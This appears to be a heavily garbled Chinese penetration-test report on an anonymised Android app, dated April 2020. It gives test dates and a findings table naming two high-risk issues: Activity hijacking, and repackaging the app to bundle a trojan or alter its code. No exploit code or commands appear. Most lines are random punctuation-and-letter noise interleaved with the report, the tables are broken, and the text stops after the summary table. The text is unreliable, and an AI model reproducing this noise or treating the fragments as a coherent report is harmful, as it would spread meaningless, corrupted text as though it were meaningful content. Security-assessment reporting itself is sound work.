! j( z7 i9 z( L* j/ m0 Z: R
8 ?& v6 n+ r7 r) O4 h
8 F4 C! r0 `" H& L+ Q' X! V7 j. {+ W9 L$ Q
6 k9 R$ t/ X' P; \$ n9 U
% `% T! J2 U* _$ j$ d
- d, T+ g- o: }, U7 o6 Z3 F1 p0 J
e# p) a* p E Z$ H
( V( H0 }) Y/ x5 [6 z* k4 M & k* e6 t5 @( z7 B
8 Q5 \$ E: ~6 j9 @+ ^
文档编号: 7 ?/ y7 X: Q0 z: U m( y/ i# F* Z0 T
9 ?8 }( p0 c8 g: h
; K* F r8 J. _+ P
& K! q; h( F& }& t9 D4 c, z1 D4 i 1 l, w6 ]& u9 g8 }+ E4 q7 W
! G0 Y, @$ d# |3 v
2 y7 A5 p: z( x% _6 X; _% Z
2 T4 c) X' J+ ~4 U
0 D( ]2 I# B% `" y a2 h
2 x5 ?' R& W9 U& s
5 S) [- e1 q _- M- f
9 O4 N E* A: Y/ P, P8 ^* s; E
$ Q% p/ W; A2 \# J
5 t6 l3 F4 ^! ]# }' x4 y1 G% ]
1 @9 h" ~# J' p9 ~5 n
. H. @8 d+ }& F* S
+ ~9 @6 S' F, d5 A: ^$ s3 E2 @1 r8 ?& C( f
5 O4 U' t0 Y m# e
& L" y a0 u3 w9 p; \9 C# J) k
6 T9 |, |7 S- ~, h6 P7 m( q6 n8 X8 G# v5 y! F
3 ^/ I- x, z7 g7 s: ]
/ C. T2 T: v# j* I' @: G( w! U; e
& b7 F/ t8 {2 J( m3 P. B
1 q7 Y: k# Z7 u! ?) r P! E2 S
: q7 w/ O7 l, Y( V' k3 `4 s
3 l8 A! S# E1 G1 J
( j' D: }/ ~6 q5 e
6 K, y, e" H5 k8 g# i5 O
; o9 X6 Q# g/ i; T/ E) }
# }" C* W0 v9 o3 |# B4 @8 U
$ H5 ]% ]' z, ]$ b1 ?/ y
/ y o& k# C9 @" O) s
+ `- n c. S- E9 J+ @
* }! y/ E( \% E9 H
某某某APP渗透测试 4 {8 f' d ]4 s! l+ d7 o
h0 G. {4 R5 g) O' r% N' r
1 O% C! I$ Q) d' [1 E
' `+ c' e. O6 X) C
* A9 k6 s- ?8 k) V6 }! O2 L0 m# y: z k5 _# }9 w. C
3 F' B& S# U2 J
; F. O9 }8 _1 h. y
P. T) I& `# u A
3 B/ i0 @. j) l5 |
0 _! p$ [. A# \' a
' Q, N7 C. U% Y: ~ / I, @- C7 K1 Q( q& b+ \
3 j& p6 J8 k% k: }3 M$ i$ R8 G
. d. e1 _6 Z1 C0 |5 j9 a& o) Y! b& f# _) y9 w. M. a
/ x Z0 j1 h3 d! D! M9 @' W( u- a
* q9 x4 V2 }* U* E. Q ' {, V; e: u' a4 h& y! x$ ]) Z
5 c# }2 h7 X& J2 z1 H3 l0 K1 I
! U+ w& e; l( V0 r- ?6 p( X
7 y$ [! x8 u e$ _
% Z% W0 Q2 c/ R
u8 A5 t0 a9 d+ L# r& ]
) f% }+ J+ C' C* @& k- r: y3 j9 ?+ r; ^9 g3 R0 y, a9 E" ~
) y" H6 |2 U# a8 t- s L- z( o
+ L }# g& L0 `2 B2 Y4 f0 `5 ~
9 g+ f+ h: L! }8 j \ \( t* g5 h. c }0 V% {
技 术 报 告 & z* g5 G6 s1 y$ k5 d; `/ J1 a
% V7 b" [/ M v& O* [: }/ P
% R8 W8 m3 N7 {5 a8 c6 e
+ _! C8 f) N; X
) C# L% M1 ^. q/ d7 v$ B
. e) f7 Q4 y) w8 B0 i
% v# x5 y; N2 [) y# Q. i( a8 _3 Z5 x2 G( V9 p
2 E* ~. Z7 C7 d4 F
+ V- ]7 R$ p" E' K0 J& f' c a# i8 U
; l- Z& N8 y" a3 f0 z
! ?1 Z' {+ E1 i- o- r* c) d
' ~. E& n* V: X+ `0 K- M, b; s6 {. z0 j& H: u3 c3 g% [# v
- l- ~0 f+ s6 I4 }' h
/ t- w" t5 l) O) k# N( ] 1 R, Q( ?/ T1 |
, T2 ^4 S( l# i1 J/ z0 a % }& k9 M8 K0 G
4 A2 J: k" V2 n
0 {& H$ P' S& h# M
: n: u Z L% p" W M& C+ _' {3 m4 r 4 P0 B* g# w: [1 w5 N1 {! w% [
7 v% \ g$ T$ _" x/ A' j, G9 c! W
. B7 R' o3 i* m% Y8 x* J, }0 g; Q& E6 K
4 j: @4 v4 V" Z2 w
9 A. b' C* ^. }) X( F' ~- O6 _
3 @& V3 d& x, h- q/ z
3 r; J6 |' z! l& F6 p: @& ?
7 t4 r3 Y9 c$ z$ ?+ g6 e9 U+ A2 x( l5 @$ f* w1 ^+ `9 X$ O
7 V5 s9 n m8 y4 M% Y% n8 m/ Z7 G. m7 l0 N1 ~# y# G, t+ H
. ~1 v! l; E' R2 h ~' x8 H: b1 y- v0 ?6 Z5 C
7 _; s& X8 q5 l, [
, Z$ s4 b k# l @; W
/ c. P: j; ~+ Q" w1 H$ x1 K2 e9 c+ ~8 s; c8 ^8 p! p
" m/ A% [+ Z7 O- Z8 `
* Z2 \$ B2 G# y2 K9 p/ Z& J& Q 2 E" F, b" X A) t$ k( Q( N
/ W! X5 b6 I6 s" T) k4 j$ ?3 Q# v
9 B% u5 P3 c& Q- R" P- U, G
5 R! _' D/ O+ Q g' _ u8 y
: T8 `) Y L( B# p$ P% \+ B2 b; J
; I# R; L6 G# H. T8 x( x! A; }
& I3 a$ I* E4 Q7 q" H6 N
- G/ c. E O* K( t0 K
, u6 J, g0 A5 R2 r' }+ W0 N5 O& a5 n5 j! Q# k
) C% a: \+ \$ S8 w5 x! J X
$ V0 e5 L, i4 D& i+ E
+ J0 X) |/ U& \
5 ?% z" G4 ~) L' ?# z0 x) b
1 r; t) Y2 f6 A- r0 F8 b& O
1 L) l6 h) z/ I( P% ]8 L' Z5 y
7 s7 d& n4 B$ e4 A3 }$ m( O2 L4 d/ V/ A
& g% F$ N' Z( Z& f1 p; e
' ]9 Y$ a8 N& ]- V* o q7 b$ X6 J! F
) k3 A& `, X% ~/ p, v( y+ l0 P p Y% R M. N5 H7 S* y
+ Q% E3 v4 R& u5 @3 o7 a
. f" X' B* u: N$ `0 O q2 g, S& J; x# A2 y2 u( O
0 Y. ^4 y) Y6 g+ V1 d7 L, W
# C! B g o* U$ _0 ^
# I! c% u/ o" u' G5 e! V1 H" Y7 I
( P6 t( `" x6 Z; S$ e: L3 ?* w
4 H# ]+ M) G, e9 |! Q" t4 o$ | ' u% ]0 X) t4 h9 X
$ D, s* M/ l4 @- g
8 f: t* C9 e" j: n- q4 g8 {
: M3 l5 }0 `' v4 o6 p ' Y* @ j5 i* A; O7 T
+ B4 i' w5 v: I4 c8 Z8 u 0 n7 o: j) ?+ c1 f! s, C7 Z
' y; @; q, N8 r! S
" b" @% N9 c' G* ]; k* o+ @# d( i% r- I: p' }' k
K/ r. T+ [( @: h1 `9 W# d& F, X2 n" `$ y% p' W& C& c$ \
\% d' y2 J+ W8 X$ K7 l
! q: Y( u: ]" P1 F$ d) e
6 {" n, x2 i1 k( M( j
5 A b) e' M8 y3 i% e3 D
# E: q0 ~" _0 E: m1 g7 M
) w& T9 @. P0 w2 h* i- _3 ^
8 `6 ~4 r- Z4 ]) S0 \
# L/ J Z+ B; l
; z @; _8 j& `" S/ w
6 I/ ~, Q/ r6 \
( p1 S9 Z. Z6 V" h2 N9 z: v- l+ B& ]) M! S5 A; f" F- N% | ]. o3 Y
# W/ q+ S0 a" C2 A( B) M* s: s+ k6 h- y& P+ N; ^% m; b* ]
8 I- |5 ]) a1 Q# u3 H9 v0 c* S5 D9 P! G- {0 j
- Y8 l A- [; B; c [2 k2 i% L
; w$ H: S N1 o
" X6 Z( f8 r4 w- d ]9 {1 h, o7 s+ W7 b' q* C4 ?
) b' {7 u, j0 E* l- s% J' u$ I$ y% @9 x6 `/ |
0 v0 p/ X' A, U$ P. @
1 A0 }' T; d+ g L3 n" |- ~ 8 y6 W+ @% m. Q% ?" G% ]
+ d0 Y; y& S7 R8 U- N# G
& d/ V* o0 o- }& j2 H y
; f& T' ^/ {7 T- b7 B, z4 g ( G" }7 j& w) T1 R
; k$ p) F, A6 Q" c. g& w
二〇二〇年 2 _% D+ c+ M1 }+ ?
0 L# o0 Q* j$ H5 Z
7 y: O/ Q/ e( Z, N! C
- t3 A5 j5 N# g, L @8 l + r/ k/ W; i! F" P F: D( ?7 Z
) f1 \( h4 R1 w1 H8 R# g
* {3 G3 F2 h( c4 T/ ], F
: m% d7 S, l9 n3 J( U% z
" C- B9 x3 p& @4 p% G6 E; ~( z3 b; m( H( W& N2 e8 I3 w
& c: M' i1 I4 }4 D
' Y/ Q& P3 ?, \- |6 j2 }# l7 U& }
, g6 Y1 }; J h. B, D! }. d- ~
3 w- l9 {6 M5 V
1 Q4 t2 {, _' r g
! A% L8 J3 u+ ^0 V1 p! {
4 n2 W2 s$ u$ x" Q
! w- \! L4 V3 ]4 x/ W) C " {3 y+ g, w2 m: A" V' \; \" r
f: H9 w/ ]" v+ L. _+ k $ t+ g9 Y( }5 E- H4 m& R0 f- C
) X$ @7 r- [, Z; v# Q- J
目 录 ) J2 a& c3 H) n
9 S# ]$ x. T4 ^2 G6 G7 ?. x
/ A: y! ]5 ]" T+ n1 q
v9 J6 B. D5 R6 @. I. \( L 0 m5 f l, b& A) H6 q j, p
' m; L& ^. z5 V9 Z! X# r+ k Z* h- }6 ?( v# r$ _/ A: r) }6 X
! a5 s: W9 O+ b) M* d6 s
/ L' Q* `, u7 ^1 F; Q8 r. F" E* N+ I/ h% r
) X) K9 ~5 y! L5 f4 t: l ?9 z# B
8 i$ V5 ^; q2 m% ?) U
& e9 T# J+ Q# ^* K0 @ 1 概述... 3
$ R+ n9 P8 W' s
9 D! ?; F: R0 _* H
9 k+ z2 F! U- a' o9 ?% C; n7 A
+ Y @+ Q7 E( o$ ^3 _ " } h$ e3 R: O) X
% i" m" p: A# u2 R) j; |( U9 w 1.2测试时间... 3
& [, R, q! p2 |
& ?. T$ X8 C: g9 _
: k: {4 }; p; v! C- M
3 X* m4 a' Q' m2 F3 J1 z" k
! Y9 ^. r& h& |% k' o, b3 D* z
9 p4 l0 C# f5 Y 1.3测试对象... 3 6 e }) B, m; |+ V5 q3 T
; y9 _. A7 \3 l1 L" l
& {8 p1 T: a; Q. o g* y; X- |7 M ~% I( m! }4 L/ A+ ^
( l0 E) m- s. [1 @# L- K( f
) r) V( y+ H* t, p
1.4测试结果... 3
0 Q3 R* G* ?- N' U, {7 a
6 S' f5 M* q+ `; Q+ f
, z9 \7 C- i4 x# R' o B# F% w- }5 N9 B; J9 v) U$ }9 \
4 G; D+ A" \2 `
7 L( P& ?3 s! U7 Y" G; \6 d; X7 w2 d
2 检测结果... 4
1 R( _" x0 u; a' _# \5 J; s7 R! }6 c
1 \. H. k! R* d5 L
% U) Z( y5 s1 v- t3 `2 A
3 M( |/ N* t4 O7 B3 M- Z% j |) T, z3 d0 \/ X: t5 v
2.1 某某某... 4 * Q/ ^8 D/ {+ T- u- R
' n4 k0 F) \9 ~# @8 U* E6 q$ z
( X6 c- @3 P; {9 R
6 k$ {6 ~6 E- d
. i) [" t! C6 c
. `; n) F1 I; y* Q' U+ M 2.1.1检测目标... 4 6 o3 z* ~6 A% L; z# x
) I2 Z* Y4 F) {
& A' m5 I' V3 r( k
- M8 D0 f& h9 H4 v. S * {. f' F% W* D1 V* o
( z. ]% G0 M4 ^$ g6 J
2.1.2检测结果... 4 3 ]5 Y4 t: Q- o. ~
- o) x7 q" `$ H0 A) O" z
" a' s$ [+ X( D0 m% z7 M3 d3 M7 x0 S3 r8 m! Q E, T
" {8 p4 |; i% N8 U, E4 ]# o, U) S
2.1.2.1. 4 2 h! f8 O+ C: X* m# m' G' h' P
/ p+ A) J4 p# N/ z
, W0 B1 f. {# V: p1 L, W
2 p: h9 G. z; u. r5 v
4 n/ X$ o5 H, i- c" S. B4 H
3 `9 u! ~7 \2 Q0 @ @ 2.1.2.2. 6
+ k. e F: V$ w' x
1 p* A/ f$ ]. \. G
1 w }) V+ K. j% O4 F
% Y' D; Z0 F# C6 C7 z5 q % S* E+ R! i" Z1 K) w% u: Q
2 T, V/ U* H# m8 h* Y
2 Y2 |6 i5 x" L# W/ |
# y5 v9 ?2 ]' I9 m/ R, W
0 v. j* ?/ V7 e( Z6 [4 _0 ^: E s) O. [: K1 C! |
' m) O1 X2 A0 v# x7 `7 i8 ]. \4 [7 Y7 q. V9 z; B& c
" V1 S& |1 `0 E
- y% v1 D/ e( C8 g
% P7 \% K8 |5 n+ e* t2 Z
! R. [# Y# F6 X
: C, {6 d. g8 i+ E: e. j% F$ J- H9 C# e2 _; G
) y9 b3 A k' e7 i# v9 }( z, l" V/ H# m! j) i( V j0 O
1 概述
! {6 l7 e: h) _: e" I
* q' K$ K9 d* d9 u' [! V+ v2 _. C
* U( L ^- r& v& g# h' n( P
* R* T0 _5 C4 {( y f# [! `9 j
6 s$ ?8 V* U) h0 j, d. X$ B* i% k* i. l
- y& M/ S+ N/ L/ q- O 1.2测试时间
1 t# _7 o2 l# G- Z+ r6 b
5 X7 v! f8 p- Z* J# _7 v
3 @1 {" {2 a D- ^
6 i' Y8 ^4 T, @" {& F6 H8 s% E
9 O4 J, |: ^9 o0 R
- R# Q$ E0 o, ]( r
" j0 j/ C+ t. ^2 n) f7 M
/ o7 H# i( s: n4 e - {! a1 \4 ]5 P& N" h# [3 s: P
8 t; x( I0 t9 \7 `2 z9 b f | 4 N: H5 j, \7 H) Q* z3 R
4 C$ w$ ?; _- p& S' g, B - s! p$ ]3 m/ O& @6 `( `
! a' o ?5 Y1 f4 x 渗透测试时间
" Y; X: |! m! t7 D% ~1 c* A4 y4 z/ O" P" e# ~! Q6 i5 U" E9 Y. a
3 T4 X2 M |4 g% X. r; x
1 M l# W/ s2 t) b- f) i& i6 E% I |
5 S0 H0 E% w1 o% P. F) y/ P! q* {, E3 S
* i! i' ^4 _; ]& _! O, U
+ O) \! D' {% m( W) n% I: v, f ( S. X+ g e) ~2 v/ g( X
, [* Y! `0 G" i& [7 V
| * S2 d5 d) N- k# o4 c) X
" W z$ |: Y2 | 3 k" [0 x( g0 E8 T i2 u2 W
b# O: p+ a9 [! X K
起始时间
, ]' T0 @2 H' S$ R( r% X* W* y) q3 h l: y# W+ V1 ?, q" ~2 G5 ~
0 ]' C, R# b- @- ~% y5 F5 X, ^+ P/ j* Q# @; q8 l. r s6 ^) s
|
4 _5 \# i6 Z/ b& j0 X- s( C. m0 w, j" ?: F! B$ |! k4 P3 A
% \' }1 E8 Q$ \/ Q0 Z
$ }9 [. D1 e9 p4 V6 w
# m$ x9 c: w! D+ k7 [1 N
; `( h* y) [) q& M! ^8 O9 B 2020年4月6日 . S3 _5 T5 k! x3 ?8 _
: O* s8 z0 f8 Y e
# j' S! R1 N" e; y$ @* y1 u ^% b; t3 [3 \/ d- r3 V+ P
| ; }! _% P9 ^! h+ Z/ j: ?8 u
: V7 F0 s; i" W
% K- ]# \5 ?. X2 ]1 M
% u7 [$ D2 p N4 `& V8 d( n
) F$ P" C8 v6 A' C7 Q9 i2 x5 [6 u! U" i3 L
|
& X8 R) A1 H0 Q) \) Y) I S9 b7 _- L% I& ]# |- e2 K
: G1 m9 K' a/ H* H0 ^
; Y! s$ Z# t9 ?0 o 结束时间 / e; ]3 N; S; ?% h' E% V7 V
) Z( e! \, u! r- i" l" O
; G9 f. g" n1 z( F; q3 n1 c5 p. }* w
: H0 A" ^! z; H. v | ( f/ T3 H+ m# J# k5 y
N5 u' u$ B: W% J
" m" x2 u+ K; B O
. Z" e, d$ h l5 q! t2 P6 X. L
4 T% S$ `) G g1 \8 ?1 E
, Z- _" M" E( T 2020年4月9日
0 n9 f* Q0 w5 C9 ^3 ~* w6 D4 y
]! e- L- x2 ]) C0 K( |
, x4 Y1 d$ N$ U! F7 j" G
* L& `. \) J3 V) b* [+ l; ]/ c/ G4 ` | / E+ e& m* F0 }9 ]. R
0 b+ J) Y3 x7 T# x1 A3 O0 O
6 P9 }/ N( D/ V$ ?" F- q5 J V
2 o) J" m" ~* E' q
" f9 F1 X/ x6 P% i' q
# V3 T5 H8 r. h1 W5 g
- D9 l7 C; b8 S4 ^* e3 p0 S" W. T) x l1 K) I
: B1 V: T) S& J( z1 [5 c
' q U* B9 x q9 N0 T2 c 1.3测试对象 # k3 X3 d) e# r4 @" O
- b w( x4 f* y$ R$ w% A
% {3 B8 D" d0 n& o+ r2 q7 y
6 a$ [5 }) U- s# d
0 o. P3 B1 t; v5 Z& t v6 P1 O2 m. Z; E' h0 J" r; O
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
, L/ g2 z- X4 w, b, N- t. \" h- M- K% E
( K1 ^4 ^ D& @3 t) ?" y
7 P# S8 k+ c r# m- {
( v" }8 z: P8 v
- Y1 h7 C. I- d 表1-1 检测对象 4 Q6 d, ~' B4 }: F9 R2 V5 d# s' Z
8 S" a) E; u4 E
9 D. x' H1 @+ F2 Q, M$ ~! u/ L
+ R* Y$ W* W& o2 ~+ u3 w( C d4 c
5 g( q5 V. J: Z6 U0 c) L$ @
/ w+ _8 ~( m/ _6 n* O ' H( e N- E- o7 J+ V3 S9 _8 c
! l* [/ ?9 s' M! v
2 L- |. P3 ~( }( _; o
" P+ w+ s+ Q" ~: l- t |
1 B, ~- Z2 H' e6 M( J7 j' l3 L+ A& S- a+ d2 B; C4 a s( k
8 C' G( l! `) L+ }! Y. W$ S1 `
- K7 N2 i# c4 b3 K/ l! k K) c/ K" K
序号
4 x; M3 ?2 y* `7 [5 }
9 N0 W' T& q" `1 I9 S6 D
# t7 ^9 y% |; `0 _
* _ O& o1 Z7 ]; }1 ]# @8 I | 0 \4 a0 m8 X: N9 L. F, {3 `
8 G3 L5 t, R4 b0 W& b % s$ }7 V. i: Q+ G5 {
3 s8 l3 e! D# {% ~
+ z" q4 c9 l$ Q _* q
! W* h2 i2 q5 y, U" Q y4 M6 @! R% z' S6 ] 测试对象 , }" o; u( w& A% v$ T3 L1 W
/ \: @: h# x- v
% o) J% r" f2 w1 w) V8 B/ h f' U5 E
| ; H! J# `# g- k! N' \
9 L4 m/ h3 Q3 [% Z7 `, c
# `& R! y- M l' w2 T8 E6 m
. \. }/ r, n" X* r/ t: \/ o " Y7 A5 b( x v/ @5 D* G5 a$ D
- b9 y$ i1 d2 G
测试地址 g; r M. z7 q$ G7 V7 M
; h3 L9 V* e2 e5 d1 O
% u% ^0 r5 [0 S0 m0 Y# r3 ?3 T0 P4 A+ D- C, j
|
0 z. @8 g4 Y6 ?3 c P- e( U5 X- J+ H) ?" L
/ W0 Z7 F, w3 X- W& u( n- j. |
: I5 @: Z" d/ X$ G, k/ R5 [
6 s1 h% ~/ ~6 {# v* Z8 u
% q* i: ]% [* O2 A/ h( j: @ 安全漏洞 1 J! V$ o+ n0 k: D2 b! W; Q! T$ s
; h. z) l- X0 U2 H, A1 o9 O ! \6 g; Q8 b0 I/ Z' v) t
b) N- v7 A0 q3 t
|
, l( {/ n% Q2 A$ B
3 P4 h h' e* m( m
[6 v6 [1 { e5 q2 g. r/ M+ L4 I# S/ }0 k9 J# Y) d0 U0 ?( }
. e3 j% [' I1 S
- i3 n/ ` q* K& t0 { k
|
# M M @. Z' k2 i6 u0 \6 x3 x7 t
" Z" ~, D! w- Z( W8 f- F3 l) I6 F7 ~- W3 a! _; ^- L% ?
1
" Y8 h2 q9 A$ K* E& \+ j, V- U$ A0 e" M, j+ ~! k
5 x6 d8 s+ K2 U: j" C- |$ Y
3 Z z [- \# @8 e8 b, a4 ` |
. f) A' G9 T4 W3 r, k" k" ~5 C) n
" y/ ?, O: X' y2 j: {) V! b& m0 ~9 c
8 O6 x0 F/ [/ E" W7 i& h
- O) S- B, m% g* Z
( T' O. C4 }2 w `' I 某某某安卓APP
2 g, j! D/ \2 d, e# A8 [. X4 _' f' G
0 C' A& A$ F4 _. |" `% T' B$ I4 i; f# ?- f9 v2 }1 i2 @
|
# h h! x( l" ?, w7 T9 B$ c, J- D
$ b: m5 @. t! W
9 y0 @& [/ l3 e! Z$ e- _
8 v% o& K7 ]' ^) V( K* Q
! e" h V8 N: ]; c, e; e7 m+ q }: O+ K/ ~( f6 V
7 n: J: _2 D1 h i5 \5 [+ x/ X3 _) T- Y; |8 W5 @' W1 b; g% \
6 r% N: z: c" B. e
' l5 z) N) i' N! H' D& D; J: W( K | . y* H3 l6 J8 `% ~/ p3 |
6 r b6 I3 F6 g% }, e1 Z0 E
( c9 l" \. I8 M; [ I8 o' E, |
. g& B3 ^% M& l) l
8 a, c" W1 o1 i
5 C. J4 u% j/ ^. [; l8 n" k( q% m8 d 2
/ Y- p- {# T' {. f9 ?& `" F) |8 A* \
$ G& _3 |6 M9 K" t$ D " v# x( o9 p" a- R) q8 J2 Y
+ w( G' n* h( M& S
|
- D0 A# w0 V! d. c: z# u6 R% z
( L- ]) q0 q6 `+ ]
! J5 Q" l2 ^9 C* m% f% w
2 v D1 p: }: K& [ c 8 ?5 v; o! u. j: q: ]: h& P2 g( ?
, B( X% U4 E' t2 u
5 Z- E2 l$ n% F5 ?1 `6 y* N+ y# A1 k7 l0 b9 r
, W- ?0 Y2 p, T
* S5 n& a& J: f: o" y
1.4测试结果
2 w+ Y6 c b) v$ W
]! @8 U/ ]' Y' D& X8 a; o1 e
3 e3 m: R1 }+ I/ I
8 A \' D9 ]" u; R
! p+ R" f) W4 ]# o: p; `% W
6 g; C5 ]4 Z n% _5 S8 h3 I; Z& F
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
1 g+ a3 I$ |+ h
( s( ^, h4 z6 |. B# h+ g5 u
+ S9 D& I$ Z! G6 Q, b8 H
( s0 M, ` v# c5 S: l & u. C6 \& j P6 h0 ~/ Q0 ]
3 J9 C8 u; y$ h. @( M; V9 N; m
. c) H# ?1 H) A; p1 e$ |
1 j) e& v5 ^6 }
, {3 C; C# I# J" h0 R ?% d9 d
4 _( M1 J4 {1 ?9 J9 g8 P 9 n5 B4 t9 x6 }- }
6 U0 u, L4 k. @7 S3 ~: o$ L
' Q s4 S6 z+ K5 H; |" }. B
1 I9 I8 y5 [4 e; E9 \% f 4 m5 X, r0 u4 n+ N0 [" a
9 M) n# Q; G' Y. X" |
& ~- W' _& R) }( y4 P) T" b
3 |+ Y3 f" j) J4 m | - x" j" h4 S8 B. }6 P
- h3 X& K+ t4 q5 K& n' k
% A8 V4 Z7 X" t& i! I" Q+ o5 C
( {( ?% ~9 e2 K: _% V1 y
序号
5 J& `' W) _; _. J7 M3 Y
9 D- v9 ~2 Y g4 P7 c7 s! ]9 z: u 4 @; Z$ X" R! w8 ^
- z" ^( ]3 a+ B
| , K( g3 L! f. x' P/ O; k2 m( c
( N& e. M. G- q) v/ {( z
9 S3 k6 ?2 e+ C2 R. x+ f, C$ r# t4 d. }7 C5 y7 N
4 \3 r% z$ G& ]: R8 Q2 k0 c
2 ^; z' q2 q2 q B/ V# x6 M 系统名称
8 S& j# F* |. I6 Q' t6 d. e. D5 }- b$ z3 K
9 q+ ?0 I3 a) R1 Q6 g
0 _* T4 R; Y& _' y | 9 l5 h0 @2 E( ]) `4 | ?
* d+ x: `, `" q9 Y) E2 G9 C9 F
1 P. i& B5 j* q# _5 W) b8 X, `# y1 X/ s- ~/ E) e& V8 n
3 n" v& W" C( q% r3 l" V" T r- c- p8 Q# S" g5 N
漏洞名称 5 t/ \/ p( N) Z4 W+ @7 [& q
0 }+ b6 Y( ~1 O
% `% M9 U5 E0 H; C
- C6 ~' f$ ^6 ^5 {' h. d
| 0 x1 M, w3 F/ A+ u, N
; m1 F0 @" O6 a8 D) m: \
0 v& L% o) X1 E/ I( @, ~) ]
}- B( v; F3 C8 @( D) p6 t & N6 F8 ?. O: G) e) \$ d2 i: o
; _) T2 b# N( v# c0 y2 o j; E 漏洞危害 % `+ f% b1 W/ V
9 w; X' r/ w( h" L
+ A+ D4 v) k1 X
' R2 e$ R2 P) l9 ?, g; a) K+ j
|
+ Y' e, r% k7 m( I& A! l( N- O4 d0 b+ R* }3 |0 ^/ ?& W+ f
, H( \' @1 ~5 u- e
' U* {. ?) n, g. S) n0 e ' R. ]) R; p0 q$ a
) F l9 e8 f: g9 p( \: |( ^
修复结果 8 ?2 p: x5 N4 D" ?' _
* d5 }+ e. W; d, ~ 9 H9 G' w! D# f
0 n* a9 t2 A* `# y3 S- Z | ) k) x3 Q8 b- E0 D5 {+ ~5 D1 `
2 A( J `2 d, P
* o1 w! ?( g$ w; j/ j6 N2 {6 s8 _ m' u. H4 H7 r/ \& L
. p. O5 y8 _$ X
3 q4 e7 d0 [1 l+ k6 G0 j: }. c( M | 2 b# Z- G" X6 a- ?
7 G/ Q6 R' b4 O% Q& b( W 3 B$ F" B! r$ \! ^: d+ I! \+ i
+ K1 r6 o' z, w% Y6 K0 h 1
2 O) r3 ?& j9 ~5 N4 w o$ d6 ]! e- i4 J3 q$ Z
. q5 b1 A3 D, j7 p P# S
1 D2 G6 E$ v: |0 \7 L, [ | " i6 q5 Y# z/ h" [
~- J3 |7 B2 B9 c
; y+ q9 B- N5 o- B
! k+ U! G; ] k" D
, \( C: \: ^- e% _9 m) t7 C; a
3 A7 \3 C4 e& o W- w 某某某某某某APP
! A: h7 K9 j7 n. U) o, {) d1 Y( J: D- F% K$ _
& w/ v- ~! D1 g# Z* C' k1 p8 K6 }' V
| + T G) A3 j$ s: P6 D
: L& T7 L/ Q7 P2 ] 5 o- @ ?% N, g& z
U$ K- U6 f e$ h
- F5 t+ E& Q7 \4 Y5 g: ]
# y- _" I( D" y0 L" T
Activity 劫持
) e3 _% k1 Z& t/ V V; J. p1 `$ q4 b: E4 W
( _# K/ i+ m; P9 y) ~3 n4 _! z3 @+ j% v4 G
" A' d2 E% F' D( f
: g6 {, S2 d5 h* h5 C. v
2 V, }9 a4 J, ~
0 O5 m, p7 x5 l) F% `. C- L+ _ ; j& p e" Q9 L7 p& Q- Q
' o! D/ _ C! i# m4 n# h
| , u. l# Z& K' d* h
& I$ \4 w% A, T) W ]6 L; O
( H8 Y) t. x# o S4 `+ h
% q& I: B# l7 G$ I7 T, _4 e! Q) }0 A
# P6 \& r8 H" U5 A9 r: V' {- d+ l0 }+ s
高 $ n7 E1 A I' H( T2 F# S
; S& w& y( |4 a& {0 ^1 d 2 [) [; k' y* \$ K: s* b
; J C+ ]+ j* x5 K, T3 w6 H
|
3 T+ w- V) h; |2 N: y2 W' X) _% j* _
* K. T7 f; {; a7 ^& j9 E
8 |6 s J! f% X8 c8 G- Q" W) c. y: |) S6 G
8 y# [. L8 Q+ N" j3 E4 G0 k" `
! T1 k% v9 E9 z$ [- |
7 r% E) E3 i& h
& f; Y5 G) n/ n. U7 _* X+ ?* q' b1 i
U. ^$ U# E Q% |. ~$ r; P: s! Y y z j* g) X- h
| 5 m+ \+ b* H2 K. h
. k. v0 B# V: |
$ b8 S' F8 H8 E d. }, c6 L: L
. [, q8 H. d8 k" w5 V. B3 ~
b. k a; G- E8 P) m
" X" `3 L; |* B |
& R( h5 D K q
' s# \: ~6 `. E2 V& g( x1 f
6 J; l- I; l) E/ K) p
4 N' V! `! }1 G) K* W# }% l+ W H: k 2 ( N( `& H. O8 H
7 `9 H' c4 c- {5 [+ E: Q $ K% F8 h1 i/ M6 J1 c( z9 p
. t* U: P& ]! M: l8 t, _1 ~% `- e6 ] |
; X G2 b! f* l% b4 E5 r/ l
9 ? Z, J" e- b. p1 V* Y- P; l c
+ F2 c% w3 W. W' ]
) K: s# ?1 d# S+ d9 D0 {: w : V4 T: W; H. }2 K5 u8 Z( y# v
1 b+ J- F7 W B+ H( H. x" k 某某某某某某APP
1 k* P! P3 l5 `7 t$ @3 l) t" y# E) Q# I* I' l
. q/ ~" S7 H) Q; Q) @" y& }& S7 O* Q
|
' q% P. k( l5 y1 Q7 Y3 O/ `/ p- Y# l1 t3 D4 m5 V
" D" q% @2 G s; o4 M. r" P5 I
. C- c& k. v Q % C$ s% O* K$ q
7 j* q: i9 B( e ?( o3 L+ o; Z! } 反编译二次打包捆绑木马、篡改APP代码
, Y9 X% J m9 y0 v- N7 L, t( O- C& C. X# B6 c+ |2 j; q2 b- M
& G2 j) T- m6 y- q7 T8 L/ b& H' p% M8 e1 f3 _! u
|
4 \9 |: C( d4 i9 r. L( Y- D& r
' ^$ y) r! Z3 F9 T4 o! Y * z7 r: k0 ?7 H2 @2 E7 ?) z
# A# c+ u6 J6 L: x + ?, m2 B+ d6 \/ L1 w: e
. I. e5 i8 k! n3 G 高 9 b& b9 D' X" F; I2 Q L
6 |/ [2 W. u" k# _! [9 r8 V8 @. y
0 }$ b) s% R+ v8 X% D$ `) ?+ J, c9 U4 p. z9 _
| . u/ m7 [0 i" f6 x: G/ }5 f
* v# l8 X$ g5 E) X% F
* c" O: _. Z0 _# p( f; c( z
: `1 s) o! t3 A% J5 ~4 W/ p; | + |" x; _8 v2 g! T2 |
G% w4 v/ m* k& U
0 Q' h h4 Q7 H8 d% C
0 {4 ~6 O X- z' h% a 1 a7 x1 v7 K. z3 N: Y
8 c/ y. [5 m# R! R4 P- c |
2 |( |' ~. |: D
2 r0 Y5 X& W$ n% K" `" u
* s$ a$ B+ g; W7 u5 O( ?2 n. P4 |
5 \9 |" t: {$ S. r( { . K P% ^3 W: z7 w i
5 \' C: W, ]( f0 h3 `+ e ~
- |5 }/ K& }3 i. t+ t; x) s* ~# X5 @8 v. `) w: k% Z; c# _: L$ r. c
7 v m* I/ \. Q) k. Y. V
2 I( f" X+ h5 N T. n , T' j* v4 Q. x* C1 E& w0 h
/ ]) j! Y- f* P T3 p1 Q8 z
2 b8 h& T1 @$ O
4 q; U4 |. r a# K7 H; f; S
